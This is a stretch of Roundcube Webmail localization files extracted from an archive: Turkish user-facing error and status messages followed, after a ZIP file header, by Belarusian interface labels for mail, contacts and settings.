$messages['nobodywarning'] = 'İleti boş olarak gönderilsin mi?';
$messages['notsentwarning'] = 'İleti gönderilmedi ve yaptığınız değişiklikler kaydedilmedi. Değişiklikler silinsin mi?';
$messages['restoresavedcomposedata'] = 'Daha önce hazırlanmış ancak gönderilmemiş bir ileti bulundu.\n\nKonu: $subject\Kaydedilme zamanı: $date\n\nBu iletiyi geri yüklemek istiyor musunuz?';
$messages['nosearchname'] = 'Lütfen bir kişi adı ya da e-posta adresi yazın.';
$messages['notuploadedwarning'] = 'Henüz tüm ek dosyalar yüklenmedi. Lütfen bekleyin ya da yüklemeyi iptal edin.';
$messages['searchsuccessful'] = '$nr ileti bulundu';
$messages['contactsearchsuccessful'] = '$nr kişi bulundu.';
$messages['searchnomatch'] = 'Arama ifadenize uygun bir sonuç bulunamadı.';
$messages['searching'] = 'Aranıyor...';
$messages['checking'] = 'Denetleniyor...';
$messages['stillsearching'] = 'Hala aranıyor...';
$messages['nospellerrors'] = 'Herhangi bir yazım hatası bulunamadı.';
$messages['folderdeleted'] = 'Klasör silindi.';
$messages['foldersubscribed'] = 'Klasöre abone olundu.';
$messages['folderunsubscribed'] = 'Klasör aboneliği kaldırıldı.';
$messages['folderpurged'] = 'Klasör boşaltıldı.';
$messages['folderexpunged'] = 'Klasör sıkıştırıldı.';
$messages['deletedsuccessfully'] = 'Silindi.';
$messages['converting'] = 'Biçimlendirme kaldırılıyor...';
$messages['messageopenerror'] = 'İleti sunucudan yüklenemedi.';
$messages['filelinkerror'] = 'Dosya eklenemedi.';
$messages['fileuploaderror'] = 'Dosya yüklenemedi.';
$messages['csvfilemismatch'] = 'İçinde farklı alanlar bulunan bir kaç CSV dosyası içe aktarılamaz.';
$messages['filesizeerror'] = 'Dosya izin verilen en büyük değer olan $size boyutundan büyük.';
$messages['filecounterror'] = 'Bir kerede en fazla $count dosya yüklenebilir.';
$messages['msgsizeerror'] = 'Dosya eklenemedi. İzin verilen en büyük değer olan $size boyutundan büyük.';
$messages['msgsizeerrorfwd'] = 'Bir ileti için belirlenmiş en büyük boyut değeri ($size) aşıldığından $num ileti eklenmedi.';
$messages['copysuccess'] = '$nr kişi kopyalandı.';
$messages['movesuccess'] = '$nr kişi taşındı.';
$messages['copyerror'] = 'Herhangi bir kişi kopyalanamadı.';
$messages['moveerror'] = 'Herhangi bir kişi taşınamadı.';
$messages['sourceisreadonly'] = 'Adres kaynağı salt okunur durumda.';
$messages['errorsavingcontact'] = 'Kişi adresi kaydedilemedi.';
$messages['movingmessage'] = 'İleti(ler) taşınıyor...';
$messages['copyingmessage'] = 'İleti(ler) kopyalanıyor...';
$messages['copyingcontact'] = 'Kişile(ler) kopyalanıyor...';
$messages['movingcontact'] = 'Kişi(ler) taşınıyor...';
$messages['deletingmessage'] = 'İleti(ler) siliniyor...';
$messages['markingmessage'] = 'İleti(ler) işaretleniyor...';
$messages['addingmember'] = 'Gruba kişi(ler) ekleniyor...';
$messages['removingmember'] = 'Gruptan kişi(ler) çıkarılıyor...';
$messages['receiptsent'] = 'Okundu onayı gönderildi.';
$messages['errorsendingreceipt'] = 'Okundu onayı gönderilemedi.';
$messages['deleteidentityconfirm'] = 'Bu kimliği silmek istediğinize emin misiniz?';
$messages['nodeletelastidentity'] = 'Son kimliğiniz olduğu için bu kimliği silemezsiniz.';
$messages['forbiddencharacter'] = 'Klasör adında izin verilmeyen karakterler var.';
$messages['selectimportfile'] = 'Lütfen yüklenecek dosyayı seçin.';
$messages['addresswriterror'] = 'Seçilmiş adres defteri yazılabilir durumda değil.';
$messages['contactaddedtogroup'] = 'Kişiler bu gruba eklendi.';
$messages['contactremovedfromgroup'] = 'Kişiler bu gruptan çıkarıldı';
$messages['nogroupassignmentschanged'] = 'Grup atamalarında bir değişiklik yapılmadı.';
$messages['importwait'] = 'Lütfen içe aktarma sırasında bekleyin...';
$messages['importformaterror'] = 'İçe aktarılamadı. Yüklenen dosya geçerli bir içe aktarım dosyası değil.';
$messages['importconfirm'] = '<b>$inserted kişi aktarıldı</b>';
$messages['importconfirmskipped'] = '<b>Var olan $skipped kayıt atlandı</b>';
$messages['importmessagesuccess'] = '$nr ileti içe aktarıldı';
$messages['importmessageerror'] = 'İçe aktarılamadı. Yüklenen dosya geçerli bir ileti ya da posta kutusu dosyası değil';
$messages['opnotpermitted'] = 'Bu işleme izin verilmiyor!';
$messages['nofromaddress'] = 'Bu kimliğin e-posta adresi yok.';
$messages['editorwarning'] = 'Düzenleyici türünü değiştirmek, metin biçimlendirmesinin kaybolmasına neden olabilir. Devam etmek istiyor musunuz?';
$messages['httpreceivedencrypterror'] = 'Ayarlarda bir sorun var. Sistem yöneticinizle görüşün. <b>İletiniz gönderilemedi</b>';
$messages['smtpconnerror'] = 'SMTP sorunu ($code): Sunucu bağlantısı kurulamadı.';
$messages['smtpautherror'] = 'SMTP sorunu ($code): Kimlik doğrulanamadı.';
$messages['smtpfromerror'] = 'SMTP sorunu ($code): Gönderici adresi "$from" olarak ayarlanamadı ($msg)';
$messages['smtptoerror'] = 'SMTP sorunu ($code): "$to" alıcısı eklenemedi ($msg)';
$messages['smtprecipientserror'] = 'SMTP sorunu: Alıcı listesi ayrıştırılamadı';
$messages['smtputf8error'] = 'SMTP sorunu: Sunucu e-posta adreslerinde unikod karakterleri desteklemiyor.';
$messages['smtpsizeerror'] = 'SMTP hatası: İleti boyutu sunucu sınırlamasını aşıyor ($limit)';
$messages['smtperror'] = 'SMTP sorunu: $msg';
$messages['emailformaterror'] = 'E-posta adresi geçersiz: $email';
$messages['toomanyrecipients'] = 'Çok fazla alıcı var. En fazla $max alıcı olabilir.';
$messages['maxgroupmembersreached'] = 'Grup üyelerinin sayısı $max sınırını aşıyor.';
$messages['internalerror'] = 'Sorun var! Lütfen yeniden deneyin.';
$messages['contactdelerror'] = 'Kişi(ler) silinemedi.';
$messages['contactdeleted'] = 'Kişi(ler) silindi.';
$messages['contactrestoreerror'] = 'Silinen kişi(ler) geri yüklenemiyor.';
$messages['contactrestored'] = 'Kişi(ler) geri yüklendi.';
$messages['groupdeleted'] = 'Grup silindi';
$messages['grouprenamed'] = 'Grup adı değiştirildi.';
$messages['groupcreated'] = 'Grup eklendi.';
$messages['savedsearchdeleted'] = 'Kayıtlı arama silindi.';
$messages['savedsearchdeleteerror'] = 'Kayıtlı arama silinemedi.';
$messages['savedsearchcreated'] = 'Kayıtlı arama eklendi.';
$messages['savedsearchcreateerror'] = 'Kayıtlı arama eklenemedi.';
$messages['messagedeleted'] = 'İleti(ler) silindi.';
$messages['messagemoved'] = 'İleti(ler) taşındı.';
$messages['messagemovedtotrash'] = 'İleti(ler) çöpe atıldı.';
$messages['messagecopied'] = 'İleti(ler) kopyalandı.';
$messages['messagemarked'] = 'İleti(ler) işaretlendi.';
$messages['autocompletechars'] = 'Otomatik tamamlama için en az $min karakter yazın.';
$messages['autocompletemore'] = 'Fazla sayıda eşleşen öge bulundu. Lütfen daha fazla karakter yazın.';
$messages['namecannotbeempty'] = 'Ad alanı boş olamaz.';
$messages['nametoolong'] = 'Ad çok uzun.';
$messages['namedotforbidden'] = 'Klasör adı nokta işareti ile başlayamaz.';
$messages['folderupdated'] = 'Klasör güncellendi';
$messages['foldercreated'] = 'Klasör eklendi.';
$messages['invalidimageformat'] = 'Geçerli bir görsel biçimi değil.';
$messages['mispellingsfound'] = 'İletide yazım hataları var.';
$messages['parentnotwritable'] = 'Klasör, seçilen üst klasöre eklenemiyor ya da taşınamıyor. Erişim izni yok.';
$messages['messagetoobig'] = 'Bu ileti parçası işlenemeyecek kadar büyük.';
$messages['attachmentvalidationerror'] = 'Ek dosya türü ileti içinde belirtilen tür ile aynı değil ve bu dosya şüpheli. Bu dosyada zararlı bir içerik bulunuyor olabilir. O nedenle göndericiyi tanımıyor ya da güvenmiyorsanız bu dosyayı web tarayıcısı içinden açmayın. <br/><br/><em>Beklenen: $expected; Bulunan: $detected</em>';
$messages['noscriptwarning'] = 'Uyarı: Bu web e-posta hizmetinin kullanılabilmesi için Javascript gereklidir! Hizmeti kullanabilmek için lütfen web tarayıcınızın Javascript ayarlarını etkinleştirin.';
$messages['messageissent'] = 'İleti zaten gönderilmiş ancak henüz kaydedilmemiş. Şimdi kaydetmek ister misiniz?';
$messages['errnotfound'] = 'Dosya bulunamadı.';
$messages['errnotfoundexplain'] = 'İstenen kaynak bulunamadı!..';
$messages['errfailedrequest'] = 'İstek yerine getirilemedi';
$messages['errauthorizationfailed'] = 'Kimlik doğrulanamadı';
$messages['errunauthorizedexplain'] = 'Bu hizmete erişme izniniz yok!';
$messages['errrequestcheckfailed'] = 'İstek denetlenemedi';
$messages['errcsrfprotectionexplain'] = "Güvenliğiniz için, CSRF tehditine karşı bu kaynağa erişim engellenmiştir.\nlfBu iletiyi görüyorsanız, büyük olasılıkla oturum kapatılmadan web uygulamasından çıkılmıştır.\n\nDevam etmek için insan müdahalesi gereklidir.";
$messages['errcontactserveradmin'] = 'Sunucu yöneticinize başvurun.';
$messages['clicktoresumesession'] = 'Önceki oturuma devam etmek için buraya tıklayın';
$messages['errcomposesession'] = 'Hazırlama oturumu hatası';
$messages['errcomposesessionexplain'] = 'İstenilen hazırlama oturumu bulunamadı.';
$messages['clicktocompose'] = 'Yeni bir ileti hazırlamak için buraya tıklayın.';
$messages['nosupporterror'] = 'Bu özellik web tarayıcınız tarafından desteklenmiyor.';
$messages['siginserted'] = 'İmza eklendi.';
$messages['responseinserted'] = 'Yanıt eklendi.';
$messages['noresponsesavailable'] = 'Kullanılabilecek bir yanıt yok';
$messages['listempty'] = 'Liste boş.';
$messages['listusebutton'] = 'Yeni bir kayıt eklemek için Ekle düğmesine tıklayın.';
$messages['keypaircreatesuccess'] = '$identity için yeni bir anahtar çifti oluşturuldu.';
$messages['emptyattachment'] = 'Bu ek dosya boş gibi görünüyor.<br>Lütfen göndericiyle görüşün.';
$messages['oauthloginfailed'] = 'OAuth oturumu açılamadı. Lütfen yeniden deneyin.';
PK
h�\3�s���%program/localization/be_BE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Вітаем у $product';
$labels['username'] = 'Імя карыстальніка';
$labels['password'] = 'Пароль';
$labels['server'] = 'Сервер';
$labels['login'] = 'Увайсці';
$labels['oauthlogin'] = 'Увайсці з дапамогай $provider';
$labels['menu'] = 'Меню';
$labels['logout'] = 'Выйсці';
$labels['mail'] = 'Пошта';
$labels['settings'] = 'Налады';
$labels['addressbook'] = 'Адрасная кніга';
$labels['darkmode'] = 'Цёмны рэжым';
$labels['lightmode'] = 'Сціслы рэжым';
$labels['inbox'] = 'Атрыманыя';
$labels['drafts'] = 'Чарнавікі';
$labels['sent'] = 'Адпраўленыя';
$labels['trash'] = 'Сметніца';
$labels['junk'] = 'Спам';
$labels['show_real_foldernames'] = 'Паказваць арыгінальныя назвы адмысловых каталогаў';
$labels['subject'] = 'Тэма';
$labels['from'] = 'Ад';
$labels['sender'] = 'Адпраўнік';
$labels['to'] = 'Каму';
$labels['cc'] = 'Копія';
$labels['bcc'] = 'Схаваная копія';
$labels['replyto'] = 'Адказаць-на';
$labels['followupto'] = 'Групавы-адказ-на';
$labels['date'] = 'Дата';
$labels['size'] = 'Памер';
$labels['priority'] = 'Прыярытэт';
$labels['organization'] = 'Кампанія';
$labels['readstatus'] = 'Прачытана';
$labels['listoptions'] = 'Параметры спіса...';
$labels['listoptionstitle'] = 'Параметры спіса';
$labels['mailboxlist'] = 'Каталогі';
$labels['messagesfromto'] = 'Паведамленні $from—$to з $count';
$labels['threadsfromto'] = 'Абмеркаванні $from—$to з $count';
$labels['messagenrof'] = 'Паведамленне $nr з $count';
$labels['fromtoshort'] = '$from—$to з $count';
$labels['copy'] = 'Капіяваць';
$labels['move'] = 'Перамясціць';
$labels['moveto'] = 'Перамясціць у...';
$labels['copyto'] = 'Скапіяваць у...';
$labels['download'] = 'Спампаваць';
$labels['open'] = 'Адкрыць';
$labels['showattachment'] = 'Паказаць';
$labels['showanyway'] = 'Усё адно паказваць';
$labels['filename'] = 'Назва файла';
$labels['filesize'] = 'Памер файла';
$labels['addtoaddressbook'] = 'Дадаць у адрасную кнігу';
$labels['sun'] = 'Ндз';
$labels['mon'] = 'Пн';
$labels['tue'] = 'Аў';
$labels['wed'] = 'Ср';
$labels['thu'] = 'Чц';
$labels['fri'] = 'Пт';
$labels['sat'] = 'Сб';
$labels['sunday'] = 'Нядзеля';
$labels['monday'] = 'Панядзелак';
$labels['tuesday'] = 'Аўторак';
$labels['wednesday'] = 'Серада';
$labels['thursday'] = 'Чацвер';
$labels['friday'] = 'Пятніца';
$labels['saturday'] = 'Субота';
$labels['jan'] = 'Сту';
$labels['feb'] = 'Лют';
$labels['mar'] = 'Сак';
$labels['apr'] = 'Кра';
$labels['may'] = 'Травень';
$labels['jun'] = 'Чэр';
$labels['jul'] = 'Ліп';
$labels['aug'] = 'Жні';
$labels['sep'] = 'Вер';
$labels['oct'] = 'Кас';
$labels['nov'] = 'Ліс';
$labels['dec'] = 'Сне';
$labels['longjan'] = 'Студзень';
$labels['longfeb'] = 'Люты';
$labels['longmar'] = 'Сакавік';
$labels['longapr'] = 'Красавік';
$labels['longmay'] = 'Травень';
$labels['longjun'] = 'Чэрвень';
$labels['longjul'] = 'Ліпень';
$labels['longaug'] = 'Жнівень';
$labels['longsep'] = 'Верасень';
$labels['longoct'] = 'Кастрычнік';
$labels['longnov'] = 'Лістапад';
$labels['longdec'] = 'Снежань';
$labels['today'] = 'Сёння';
$labels['refresh'] = 'Абнавіць';
$labels['checkmail'] = 'Праверыць наяўнасць новых лістоў';
$labels['compose'] = 'Напісаць';
$labels['writenewmessage'] = 'Стварыць новы ліст';
$labels['reply'] = 'Адказаць';
$labels['replytomessage'] = 'Адказаць адпраўніку';
$labels['replytoallmessage'] = 'Адказаць па спісе альбо адпраўніку і ўсім атрымальнікам';
$labels['replyall'] = 'Адказаць усім';
$labels['replylist'] = 'Адказаць па спісе';
$labels['forward'] = 'Пераслаць';
$labels['forwardinline'] = 'Пераслаць унутры ліста';
$labels['forwardattachment'] = 'Пераслаць як далучаны файл';
$labels['forwardmessage'] = 'Пераслаць гэты ліст';
$labels['bouncemsg'] = 'Адправіць паўторна';
$labels['bounce'] = 'Адправіць паўторна';
$labels['deletemessage'] = 'Выдаліць ліст';
$labels['movemessagetotrash'] = 'Перамясціць ліст у сметніцу';
$labels['printmessage'] = 'Надрукаваць гэты ліст';
$labels['previousmessage'] = 'Паказаць папярэдні ліст';
$labels['firstmessage'] = 'Паказаць першы ліст';
$labels['nextmessage'] = 'Паказаць наступны ліст';
$labels['lastmessage'] = 'Паказаць апошні ліст';
$labels['backtolist'] = 'Назад да спіса';
$labels['viewsource'] = 'Зыходны тэкст';
$labels['mark'] = 'Пазначыць';
$labels['markmessages'] = 'Пазначыць лісты';
$labels['markread'] = 'Як прачытаныя';
$labels['markunread'] = 'Як непрачытаныя';
$labels['markflagged'] = 'Пазначыць сцягам';
$labels['markunflagged'] = 'Прыбраць сцяг';
$labels['markundeleted'] = 'Не выдаленыя';
$labels['moreactions'] = 'Больш дзеянняў...';
$labels['markallread'] = 'Пазначыць усё як прачытанае';
$labels['folders-cur'] = 'Толькі абраныя каталогі';
$labels['folders-sub'] = 'Абраныя каталогі і каталогі ў іх';
$labels['folders-all'] = 'Усе каталогі';
$labels['more'] = 'Яшчэ';
$labels['back'] = 'Назад';
$labels['options'] = 'Параметры';
$labels['composeoptions'] = 'Параметры стварэння';
$labels['optionsandattachments'] = 'Параметры і далучаныя файлы';
$labels['actions'] = 'Дзеянні';
$labels['first'] = 'У пачатак';
$labels['last'] = 'У канец';
$labels['previous'] = 'Назад';
$labels['next'] = 'Далей';
$labels['select'] = 'Абраць';
$labels['selection'] = 'Вылучэнне';
$labels['all'] = 'Усе';
$labels['none'] = 'Нічога';
$labels['currpage'] = 'Бягучая старонка';
$labels['isread'] = 'Прачытаныя';
$labels['unread'] = 'Непрачытаныя';
$labels['flagged'] = 'Са сцягам';
$labels['unflagged'] = 'Без сцяга';
$labels['unanswered'] = 'Не было адказу';
$labels['withattachment'] = 'З далучанымі файламі';
$labels['deleted'] = 'Выдаленыя';
$labels['undeleted'] = 'Не выдаленыя';
$labels['replied'] = 'Быў адказ';
$labels['forwarded'] = 'Перасланыя';
$labels['invert'] = 'Інвертаваць';
$labels['filter'] = 'Фільтр';
$labels['list'] = 'Спіс';
$labels['threads'] = 'Ліставанні';
$labels['expand-all'] = 'Разгарнуць усё';
$labels['expand-unread'] = 'Разгарнуць непрачытаныя';
$labels['collapse-all'] = 'Згарнуць усё';
$labels['threaded'] = 'Threaded';
$labels['showunread'] = 'Паказваць непрачытаныя лісты';
$labels['autoexpand_threads'] = 'Разгортванне ліставанняў';
$labels['do_expand'] = 'усе ліставанні';
$labels['expand_only_unread'] = 'толькі з непрачытанымі лістамі';
$labels['fromto'] = 'Ад/Да';
$labels['flag'] = 'Сцяг';
$labels['attachment'] = 'Далучаныя файлы';
$labels['nonesort'] = 'Няма';
$labels['sentdate'] = 'Дата адпраўлення';
$labels['arrival'] = 'Дата атрымання';
$labels['asc'] = 'па павелічэнні';
$labels['desc'] = 'па памяншэнні';
$labels['listcolumns'] = 'Слупкі';
$labels['listsorting'] = 'Сартаванне паводле';
$labels['listorder'] = 'Парадак сартавання';
$labels['listmode'] = 'Рэжым спіса';
$labels['lmode'] = 'Рэжым спіса';
$labels['layout'] = 'Размяшчэнне';
$labels['layoutwidescreen'] = '16:9';
$labels['layoutdesktop'] = 'Працоўны стол';
$labels['layoutlist'] = 'Спіс';
$labels['layoutwidescreendesc'] = 'Шырокаэкранны (3 слупкі)';
$labels['layoutdesktopdesc'] = 'Для камп\'ютара (шырокі спіс і папярэдні прагляд ліста ніжэй спіса)';
$labels['layoutlistdesc'] = 'Спіс (без папярэдняга прагляду)';
$labels['folderactions'] = 'Дзеянні з каталогам...';
$labels['compact'] = 'Сціснуць';
$labels['empty'] = 'Ачысціць';
$labels['importmessages'] = 'Імпартаваць лісты';
$labels['mailimportdesc'] = 'Вы можаце запампаваць лісты ў фарматах <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> або <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Некалькі файлаў можна сціснуць у zip-архівы.';
$labels['quota'] = 'Выкарыстанне сховішча';
$labels['unknown'] = 'невядома';
$labels['unlimited'] = 'без абмежаванняў';
$labels['quotatype'] = 'Тып ліміту';
$labels['quotatotal'] = 'Ліміт';
$labels['quotaused'] = 'Выкарыстоўваецца';
$labels['quotastorage'] = 'Месца на дыску';
$labels['quotamessage'] = 'Колькасць лістоў';
$labels['shortheaderdate'] = '$date';
$labels['shortheaderto'] = 'Да $to $date';
$labels['shortheaderfrom'] = 'Ад $from $date';
$labels['quicksearch'] = 'Хуткі пошук';
$labels['searchplaceholder'] = 'Пошук...';
$labels['resetsearch'] = 'Скінуць пошук';
$labels['searchmod'] = 'Мадыфікатары пошуку';
$labels['msgtext'] = 'Entire message';
$labels['body'] = 'Цела';
$labels['type'] = 'Тып';
$labels['namex'] = 'Імя';
$labels['searchscope'] = 'Размяшчэнне';
$labels['currentfolder'] = 'Бягучы каталог';
$labels['subfolders'] = 'Гэты і ўкладзеныя каталогі';
$labels['allfolders'] = 'Усе каталогі';
$labels['searchinterval-1W'] = 'больш за тыдзень';
$labels['searchinterval-1M'] = 'больш за месяц';
$labels['searchinterval-1Y'] = 'больш за год';
$labels['searchinterval1W'] = 'менш за тыдзень';
$labels['searchinterval1M'] = 'менш за месяц';
$labels['searchinterval1Y'] = 'менш за год';
$labels['openinextwin'] = 'Адкрыць у новым акне';
$labels['emlsave'] = 'Спампаваць (.eml)';
$labels['changeformattext'] = 'Паказаць як просты тэкст';
$labels['changeformathtml'] = 'Паказаць як HTML';
$labels['editasnew'] = 'Рэдагаваць як новы ліст';
$labels['send'] = 'Адправіць';
$labels['sendmessage'] = 'Адправіць зараз';
$labels['savemessage'] = 'Захаваць як чарнавік';
$labels['addattachment'] = 'Далучыць файл';
$labels['charset'] = 'Кадаванне';
$labels['editortype'] = 'Тып рэдактара';
$labels['returnreceipt'] = 'Апавяшчэнне пра прачытанне';
$labels['dsn'] = 'Апавяшчэнне пра атрыманне';
$labels['keepformatting'] = 'Захоўваць фарматаванне';
$labels['mailreplyintro'] = '$sender напісаў $date:';
$labels['originalmessage'] = 'Арыгінальнае паведамленне';
$labels['selectimage'] = 'Абраць выяву';
$labels['addimage'] = 'Дадаць выяву';
$labels['selectmedia'] = 'Абраць відэа';
$labels['addmedia'] = 'Дадаць відэа';
$labels['encrypt'] = 'Зашыфраваць';
$labels['encryptmessage'] = 'Зашыфраваць ліст';
$labels['encryptmessagemailvelope'] = 'Зашыфраваць ліст з дапамогай Mailvelope';
$labels['importpubkeys'] = 'Імпартаваць публічны ключ';
$labels['encryptedsendialog'] = 'Адпраўленне зашыфраванага ліста';
$labels['encryptandsign'] = 'Зашыфраваць і падпісаць';
$labels['keyid'] = 'ID ключа';
$labels['keylength'] = 'Біты';
$labels['keyexpired'] = 'Састарэлы';
$labels['keyrevoked'] = 'Адкліканы';
$labels['bccinstead'] = 'Выкарыстоўваць схаваную копію';
$labels['addheader'] = 'Дадаць атрымальніка (загаловак)';
$labels['insert'] = 'Уставіць';
$labels['insertcontact'] = 'Уставіць кантакт(ы)';
$labels['recipient'] = 'Атрымальнік';
$labels['recipientedit'] = 'Рэдагаванне атрымальніка';
$labels['editidents'] = 'Рэдагаваць асабовыя звесткі';
$labels['spellcheck'] = 'Правапіс';
$labels['checkspelling'] = 'Праверыць правапіс';
$labels['resumeediting'] = 'Працягнуць рэдагаванне';
$labels['revertto'] = 'Вярнуцца да';
$labels['restore'] = 'Аднавіць';
$labels['restoremessage'] = 'Аднавіць ліст?';
$labels['ignore'] = 'Не зважаць';
$labels['responses'] = 'Адказы';
$labels['insertresponse'] = 'Уставіць адказ';
$labels['manageresponses'] = 'Кіраванне адказамі';
$labels['newresponse'] = 'Стварыць новы адказ';
$labels['addresponse'] = 'Дадаць адказ';
$labels['editresponse'] = 'Рэдагаваць адказ';
$labels['editresponses'] = 'Рэдагаваць адказы';
$labels['responsename'] = 'Назва';
$labels['responsetext'] = 'Тэкст адказу';
$labels['attach'] = 'Далучыць';
$labels['attachments'] = 'Далучаныя файлы';
$labels['upload'] = 'Запампаваць';
$labels['uploadprogress'] = '$percent ($current з $total)';
$labels['close'] = 'Закрыць';
$labels['messageoptions'] = 'Параметры ліста...';
$labels['togglecomposeoptions'] = 'Пераключыць параметры стварэння';
$labels['attachmentrename'] = 'Змяніць назву далучанага файла';
$labels['low'] = 'Нізкі';
$labels['lowest'] = 'Найніжэйшы';
$labels['normal'] = 'Звычайны';
$labels['high'] = 'Высокі';
$labels['highest'] = 'Найвышэйшы';
$labels['nosubject'] = '(без тэмы)';
$labels['showimages'] = 'Паказваць выявы';
$labels['allow'] = 'Дазволіць';
$labels['alwaysshow'] = 'Заўсёды паказваць выявы ад $sender';
$labels['alwaysallow'] = 'Заўсёды дазваляць ад $sender';
$labels['isdraft'] = 'Гэта чарнавік.';
$labels['andnmore'] = 'яшчэ $nr...';
$labels['details'] = 'Падрабязнасці';
$labels['summary'] = 'Агулам';
$labels['headers'] = 'Загалоўкі';
$labels['allheaders'] = 'Усе загалоўкі...';
$labels['togglemoreheaders'] = 'Паказаць больш загалоўкаў';
$labels['togglefullheaders'] = 'Паказаць неапрацаваныя загалоўкі';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Звычайны тэкст';
$labels['savesentmessagein'] = 'Захаваць ліст у';
$labels['dontsave'] = 'не захоўваць';
$labels['maxuploadsize'] = 'Максімальны памер файла — $size';
$labels['addcc'] = 'Копія';
$labels['addbcc'] = 'Схаваная копія';
$labels['addreplyto'] = 'Адказ-на';
$labels['addfollowupto'] = 'Групавы-адказ-на';
$labels['sendreceipt'] = 'Адправіць апавяшчэнне пра прачытанне?';
$labels['mdnrequest'] = 'Адпраўнік хоча даведацца пра прачытанне гэтага ліста. Апавясціць адпраўніка?';
$labels['receiptread'] = 'Пацвярджэнне атрымання (прачытання)';
$labels['yourmessage'] = 'Гэта пацвярджэнне атрымання вашага ліста';
$labels['receiptnote'] = 'Заўвага: гэтае пацвярджэнне азначае, што ліст быў адлюстраваны на экране камп\'ютара адрасата. Няма гарантыі, што атрымальнік прачытаў альбо зразумеў змесціва ліста.';
$labels['sendalwaysto'] = 'Заўсёды адпраўляць $email';
$labels['zoomin'] = 'Наблізіць';
$labels['zoomout'] = 'Аддаліць';
$labels['rotate'] = 'Павярнуць';
$labels['increaseimage'] = 'Павялічыць памер выявы';
$labels['decreaseimage'] = 'Паменшыць памер выявы';
$labels['rotateimage'] = 'Павярнуць выяву';
$labels['showtools'] = 'Паказаць інструменты для працы з выявамі';
$labels['hidetools'] = 'Схаваць інструменты для працы з выявамі';
$labels['name'] = 'Імя кантакта';
$labels['firstname'] = 'Імя';
$labels['surname'] = 'Прозвішча';
$labels['middlename'] = 'Імя па бацьку (другое імя)';
$labels['nameprefix'] = 'Назва';
$labels['namesuffix'] = 'Суфікс';
$labels['nickname'] = 'Мянушка';
$labels['jobtitle'] = 'Пасада';
$labels['department'] = 'Аддзел';
$labels['gender'] = 'Пол';
$labels['maidenname'] = 'Дзявоцкае прозвішча';
$labels['email'] = 'Эл. пошта';
$labels['phone'] = 'Тэлефон';
$labels['address'] = 'Адрас';
$labels['street'] = 'Вуліца';
$labels['locality'] = 'Горад';
$labels['zipcode'] = 'Індэкс';
$labels['region'] = 'Вобласць / Правінцыя';
$labels['country'] = 'Краіна';
$labels['birthday'] = 'Дзень народзінаў';
$labels['anniversary'] = 'Юбілей';
$labels['website'] = 'Вэб-сайт';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Нататкі';
$labels['male'] = 'мужчына';
$labels['female'] = 'жанчына';
$labels['manager'] = 'Кіраўнік';
$labels['assistant'] = 'Асістэнт';
$labels['spouse'] = 'Жонка';
$labels['allfields'] = 'Усе палі';
$labels['search'] = 'Пошук';
$labels['searchresult'] = 'Вынік пошуку';
$labels['advsearch'] = 'Пашыраны пошук';
$labels['advanced'] = 'Дадаткова';
$labels['other'] = 'Іншае';
$labels['printcontact'] = 'Надрукаваць кантакт';
$labels['qrcode'] = 'QR-код';
$labels['typehome'] = 'Дом';
$labels['typework'] = 'Праца';
$labels['typeother'] = 'Іншае';
$labels['typemobile'] = 'Мабільны';
$labels['typemain'] = 'Асноўны';
$labels['typehomefax'] = 'Хатні факс';
$labels['typeworkfax'] = 'Працоўны факс';
$labels['typecar'] = 'Аўтамабіль';
$labels['typepager'] = 'Пэйджар';
$labels['typevideo'] = 'Відэа';
$labels['typeassistant'] = 'Асістэнт';
$labels['typehomepage'] = 'Хатняя старонка';
$labels['typeblog'] = 'Блог';
$labels['typeprofile'] = 'Профіль';
$labels['addfield'] = 'Дадаць поле...';
$labels['addcontact'] = 'Дадаць кантакт';
$labels['editcontact'] = 'Рэдагаваць кантакт';
$labels['contacts'] = 'Кантакты';
$labels['contactproperties'] = 'Уласцівасці кантакта';
$labels['contactnameandorg'] = 'Імя і арганізацыя';
$labels['personalinfo'] = 'Асабістыя звесткі';
$labels['personal'] = 'Асабістыя';
$labels['contactphoto'] = 'Асабістае фота';
$labels['edit'] = 'Рэдагаваць';
$labels['cancel'] = 'Скасаваць';
$labels['save'] = 'Захаваць';
$labels['delete'] = 'Выдаліць';
$labels['discard'] = 'Адкінуць';
$labels['continue'] = 'Працягнуць';
$labels['ok'] = 'Добра';
$labels['rename'] = 'Змяніць назву';
$labels['addphoto'] = 'Дадаць';
$labels['replacephoto'] = 'Замяніць';
$labels['uploadphoto'] = 'Запампаваць фота';
$labels['choosefile'] = 'Абраць файл...';
$labels['choosefiles'] = 'Абраць файлы...';
$labels['browse'] = 'Агляд';
$labels['newcontact'] = 'Стварыць новы кантакт';
$labels['deletecontact'] = 'Выдаліць абраныя кантакты';
$labels['composeto'] = 'Напісаць ліст';
$labels['contactsfromto'] = 'Кантакты $from—$to з $count';
$labels['print'] = 'Друкаваць';
$labels['export'] = 'Экспарт';
$labels['exportall'] = 'Экспартаваць усё';
$labels['exportsel'] = 'Экспартаваць абранае';
$labels['exportvcards'] = 'Экспартаваць кантакты ў фармаце vCard';
$labels['newgroup'] = 'Стварыць новую групу';
$labels['addgroup'] = 'Дадаць групу';
$labels['grouprename'] = 'Змяніць назву групы';
$labels['groupdelete'] = 'Выдаліць групу';
$labels['groupassign'] = 'Прызначыць у групу...';
$labels['groupremove'] = 'Выдаліць з групы';
$labels['groupremoveselected'] = 'Выдаліць абраныя кантакты з групы';
$labels['uponelevel'] = 'На адзін узровень уверх';
$labels['previouspage'] = 'Папярэдняя старонка';
$labels['firstpage'] = 'Першая старонка';
$labels['nextpage'] = 'Наступная старонка';
$labels['lastpage'] = 'Апошняя старонка';
$labels['group'] = 'Група';
$labels['groups'] = 'Групы';
$labels['listgroup'] = 'Паказаць кантакты групы';
$labels['personaladrbook'] = 'Асабістыя адрасы';
$labels['searchsave'] = 'Захаваць запыт';
$labels['searchdelete'] = 'Выдаліць запыт';
$labels['import'] = 'Імпарт';
$labels['importcontacts'] = 'Імпартаваць кантакты';
$labels['importfromfile'] = 'Імпартаваць з файла';
